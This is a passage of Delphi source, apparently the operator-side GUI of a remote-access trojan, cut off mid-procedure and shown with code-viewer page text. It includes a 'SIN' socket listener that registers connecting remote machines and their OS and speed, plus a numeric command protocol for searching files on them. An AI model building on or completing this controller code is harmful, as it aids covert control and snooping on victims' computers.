?? unit1.pas
字號:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, ComCtrls, ExtCtrls, StdCtrls, ScktComp, Winsock, ImgList, Menus;
type
TForm1 = class(TForm)
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Edit1: TEdit;
Edit2: TEdit;
Button1: TButton;
Button2: TButton;
Button3: TButton;
Button4: TButton;
Button5: TButton;
Button6: TButton;
Button7: TButton;
Button8: TButton;
Button9: TButton;
Button10: TButton;
Button11: TButton;
Button12: TButton;
Button13: TButton;
Panel1: TPanel;
Splitter1: TSplitter;
Memo1: TMemo;
Panel_Info: TPanel;
Button14: TButton;
Button15: TButton;
Button16: TButton;
Button17: TButton;
Button18: TButton;
Button19: TButton;
ConTimer: TTimer;
ProgressBar1: TProgressBar;
StatusBar1: TStatusBar;
Panel_Transfer: TPanel;
ListView1: TListView;
Button20: TButton;
Button21: TButton;
Button22: TButton;
Panel_Status: TPanel;
Label4: TLabel;
Panel5: TPanel;
Label5: TLabel;
Label6: TLabel;
Panel6: TPanel;
Label7: TLabel;
Label8: TLabel;
Panel7: TPanel;
Panel_Find: TPanel;
ListView2: TListView;
Label9: TLabel;
Edit3: TEdit;
Button23: TButton;
Panel_Config: TPanel;
Label10: TLabel;
Edit4: TEdit;
CheckBox2: TCheckBox;
Panel_Sin: TPanel;
Label11: TLabel;
Edit5: TEdit;
Button25: TButton;
Button26: TButton;
ListView3: TListView;
ServerSocket1: TServerSocket;
Button27: TButton;
CheckBox1: TCheckBox;
CheckBox3: TCheckBox;
CheckBox4: TCheckBox;
Image1: TImage;
Image2: TImage;
Image3: TImage;
Panel_About: TPanel;
Image4: TImage;
Label12: TLabel;
Label13: TLabel;
Memo2: TMemo;
Label14: TLabel;
Label15: TLabel;
Button24: TButton;
CheckBox5: TCheckBox;
ImageList1: TImageList;
PopupMenu1: TPopupMenu;
Clear1: TMenuItem;
Panel_Intro: TPanel;
Image5: TImage;
Procedure Status(Str:String);
Procedure Info(Str:String);
procedure Button3Click(Sender: TObject);
procedure Button8Click(Sender: TObject);
procedure Button9Click(Sender: TObject);
procedure Button10Click(Sender: TObject);
procedure Button11Click(Sender: TObject);
procedure Edit1KeyPress(Sender: TObject; var Key: Char);
procedure Edit2KeyPress(Sender: TObject; var Key: Char);
procedure Edit5KeyPress(Sender: TObject; var Key: Char);
function SendString(Str:String):boolean;
procedure Button2Click(Sender: TObject);
procedure Button25Click(Sender: TObject);
procedure Button26Click(Sender: TObject);
procedure Button23Click(Sender: TObject);
procedure Button27Click(Sender: TObject);
procedure ServerSocket1ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
procedure ServerSocket1ClientError(Sender: TObject;
Socket: TCustomWinSocket; ErrorEvent: TErrorEvent;
var ErrorCode: Integer);
procedure ServerSocket1ClientRead(Sender: TObject;
Socket: TCustomWinSocket);
procedure DoShit(str:String;ip:string);
procedure FormCreate(Sender: TObject);
procedure Button13Click(Sender: TObject);
procedure ConTimerTimer(Sender: TObject);
procedure Edit4KeyPress(Sender: TObject; var Key: Char);
procedure Button24Click(Sender: TObject);
procedure Button1Click(Sender: TObject);
procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
procedure ListView3DblClick(Sender: TObject);
procedure Clear1Click(Sender: TObject);
procedure Button21Click(Sender: TObject);
procedure Button14Click(Sender: TObject);
procedure Button17Click(Sender: TObject);
procedure Button15Click(Sender: TObject);
procedure Button18Click(Sender: TObject);
procedure Button16Click(Sender: TObject);
procedure Button19Click(Sender: TObject);
procedure Button22Click(Sender: TObject);
procedure Button20Click(Sender: TObject);
Function Windir:String;
Function Sysdir:String;
procedure Memo1MouseDown(Sender: TObject; Button: TMouseButton;
Shift: TShiftState; X, Y: Integer);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
Sock : TSocket;
Wsadatas : TWSADATA;
SockAddrIn : TSockAddrIn;
Buffer : Array[0..36000] Of Char;
SIN : Boolean;
IP : String;
implementation
{$R *.dfm}
Function TForm1.Sysdir:String;
Var
B:Array[0..255]Of Char;
Begin
GetSystemDirectory(B, 255);
Result := String(B)+'\';
End;
Function TForm1.Windir:String;
Var
B:Array[0..255]Of Char;
Begin
GetWindowsDirectory(B, 255);
Result := String(B)+'\';
End;
procedure TForm1.DoShit(str:String;ip:String);
Var
I :Integer;
Cmd,
Param,
Tmp1,Tmp2,Tmp3:String;
Item :TListItem;
Begin
If Pos(#13, Str)>0 Then Str:=Copy(Str, 1, Pos(#13, Str)-1);
Panel6.Caption := IntToStr(StrToInt(Panel6.Caption)+Length(Str));
Cmd := Copy(Str, 1, 2);
Param := Copy(Str, 3, Length(Str));
Info('Server -> '+Param);
If Pos(Copy(Cmd, 1, 1), '0123456789')=0 Then Begin
Info('Received Non-Mental Commando, Ignoring.');
Exit;
End;
If Pos(Copy(Cmd, 2, 1), '0123456789')=0 Then Begin
Info('Received Non-Mental Commando, Ignoring.');
Exit;
End;
Case StrToInt(Cmd) Of
// ---- Version ----
10:StatusBar1.Panels[0].Text := Param;
// ---- OS ----
11:For I := 0 To ListView3.Items.Count -1 Do Begin
If ListView3.Items[i].Caption = IP Then
ListView3.Items[i].SubItems[0] := Param;
End;
// ---- Net Speed ----
12:For I := 0 To ListView3.Items.Count -1 Do Begin
If ListView3.Items[i].Caption = IP Then
ListView3.Items[i].SubItems[1] := Param;
End;
// ---- Search Files ----
38:Begin
If param = '' Then Exit;
Item := ListView2.Items.Add;
Tmp1 := Copy(Param, 1, Pos(':', Param)-1);
Tmp2 := Copy(Param, Pos(':', Param)+1, Length(Param));
Item.Caption := ExtractFileName(Tmp2);
Item.SubItems.Add(Tmp1);
Item.SubItems.Add(Tmp2);
End;
End;
End;
Procedure TForm1.Status(Str:String);
Begin
StatusBar1.Panels[1].Text := 'Status : '+Str;
End;
Procedure TForm1.Info(Str:String);
Var
F :TextFile;
Begin
Memo1.Lines.Add(Str);
If Not CheckBox1.Checked Then Exit;
AssignFile(F, 'Log.txt');
If FileExists('Log.txt') Then
Append(F)
Else
ReWrite(F);
WriteLn(F, TimeToStr(Now)+' >> '+Str);
CloseFile(F);
End;
procedure TForm1.Button3Click(Sender: TObject);
begin
panel_info.Visible := True;
panel_config.Visible := False;
panel_transfer.Visible := False;
panel_status.Visible := False;
panel_find.Visible := False;
panel_sin.Visible := False;
panel_about.Visible := False;
Panel_info.Align := AlClient;
end;
procedure TForm1.Button8Click(Sender: TObject);
begin
panel_info.Visible := False;
panel_config.Visible := False;
panel_transfer.Visible := True;
panel_status.Visible := False;
panel_find.Visible := False;
panel_sin.Visible := False;
panel_about.Visible := False;
panel_transfer.Align := AlClient;
end;
procedure TForm1.Button9Click(Sender: TObject);
begin
panel_info.Visible := False;
panel_config.Visible := False;
panel_transfer.Visible := False;
panel_status.Visible := True;
panel_find.Visible := False;
panel_sin.Visible := False;
panel_about.Visible := False;
panel_status.Align := AlClient;
end;
procedure TForm1.Button10Click(Sender: TObject);
begin
panel_info.Visible := False;
panel_config.Visible := False;
panel_transfer.Visible := False;
panel_status.Visible := False;
panel_find.Visible := True;
panel_sin.Visible := False;
panel_about.Visible := False;
panel_find.Align := AlClient;
end;
procedure TForm1.Button11Click(Sender: TObject);
begin
panel_info.Visible := False;
panel_config.Visible := True;
panel_transfer.Visible := False;
panel_status.Visible := False;
panel_find.Visible := False;
panel_sin.Visible := False;
panel_about.Visible := False;
panel_config.Align := AlClient;
end;
procedure TForm1.Edit1KeyPress(Sender: TObject; var Key: Char);
begin
if pos(key, '0123456789.'#8)=0 Then
ZeroMemory(@Key, SizeOf(Key));
end;
procedure TForm1.Edit2KeyPress(Sender: TObject; var Key: Char);
begin
if pos(key, '0123456789'#8)=0 Then
ZeroMemory(@Key, SizeOf(Key));
end;
procedure TForm1.Edit5KeyPress(Sender: TObject; var Key: Char);
begin
if pos(key, '0123456789'#8)=0 Then
ZeroMemory(@Key, SizeOf(Key));
end;
procedure TForm1.Button2Click(Sender: TObject);
begin
panel_info.Visible := False;
panel_config.Visible := False;
panel_transfer.Visible := False;
panel_status.Visible := False;
panel_find.Visible := False;
panel_sin.Visible := True;
panel_about.Visible := False;
panel_sin.Align := AlClient;
end;
procedure TForm1.Button25Click(Sender: TObject);
begin
Info('SIN Started : '+Edit5.Text);
ServerSocket1.port := strtoint(edit5.text);
serversocket1.Active := true;
end;
procedure TForm1.Button26Click(Sender: TObject);
begin
If ServerSocket1.Active Then
ServerSocket1.Active := False;
Info('SIN Stopped');
ListView3.Items.Clear;
end;
procedure TForm1.Button23Click(Sender: TObject);
begin
Status('Sending search commando');
SendString('38'+Edit3.Text+#13);
end;
procedure TForm1.Button27Click(Sender: TObject);
var
S:String;
begin
S := ('You can use following types of search:'+#13#10);
S := S + (' *.jpg - Find all jpg files'+#13#10);
S := S + (' te*.jpg - Find all jpg starting with te'+#13#10);
S := S + (' *st.jpg - Find all jpg ending with st'+#13#10);
S := S + (' *test*.jpg - Find all jpg containing test');
MessageBox(0, pChar(S), 'Help', mb_ok);
end;
procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);
var
item:TListItem;
begin
item := listview3.Items.Add;
item.ImageIndex := 2;
item.Caption := socket.RemoteAddress;
item.SubItems.Add('?');
item.SubItems.Add('?');
end;
procedure TForm1.ServerSocket1ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);
var
i:integer;
begin
for i := 0 to listview3.Items.Count -1 do
?? 快捷鍵說明
復制代碼
Ctrl + C
搜索代碼
Ctrl + F
全屏模式
F11
切換主題
Ctrl + Shift + D
顯示快捷鍵
?
增大字號
Ctrl + =
減小字號
Ctrl + -